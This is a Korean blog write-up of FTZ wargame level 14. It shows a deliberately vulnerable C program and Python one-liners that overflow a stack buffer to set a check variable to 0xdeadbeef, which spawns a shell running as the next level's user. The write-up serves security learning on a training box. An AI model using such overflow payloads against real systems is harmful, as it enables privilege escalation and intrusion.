FTZ level14
hint
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #include <stdio.h> #include <unistd.h> main(){ int crap; int check; char buf[20]; fgets(buf,45,stdin); if (check==0xdeadbeef) { setreuid(3095,3095); system("/bin/sh"); } } | cs |
프로그램 안에서 쉘을 실행시키기 때문에 조건만 만족시켜주면 된다
buf에서 버퍼 오버플로우를 일으켜 check에 deadbeef를 채우면 되는데
표준입력으로 받기 때문에 파이프명령어 사용
| buf[20] | dummy[?????] | check[4] | ------
buf와 check 사이의 dummy값을 모르기 때문에 20부터 하나씩 채워나간다
(python -c 'print "A"*21 + "\xef\xbe\xad\xde"';cat)| ./attackme
(python -c 'print "A"*28 + "\xef\xbe\xad\xde"';cat)| ./attackme
(python -c 'print "A"*30 + "\xef\xbe\xad\xde"';cat)| ./attackme
(python -c 'print "A"*35 + "\xef\xbe\xad\xde"';cat)| ./attackme
...
(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat)| ./attackme
id
uid=3095(level15) gid=3094(level14) groups=3094(level14)
성공.
my-pass
Level15 Password
'System > FTZ' 카테고리의 다른 글
FTZ level16 (0) | 2015.03.17 |
---|---|
FTZ level15 (0) | 2015.03.17 |
FTZ level13 (0) | 2015.03.17 |
FTZ level12 (0) | 2015.03.17 |
FTZ level11 (0) | 2015.03.17 |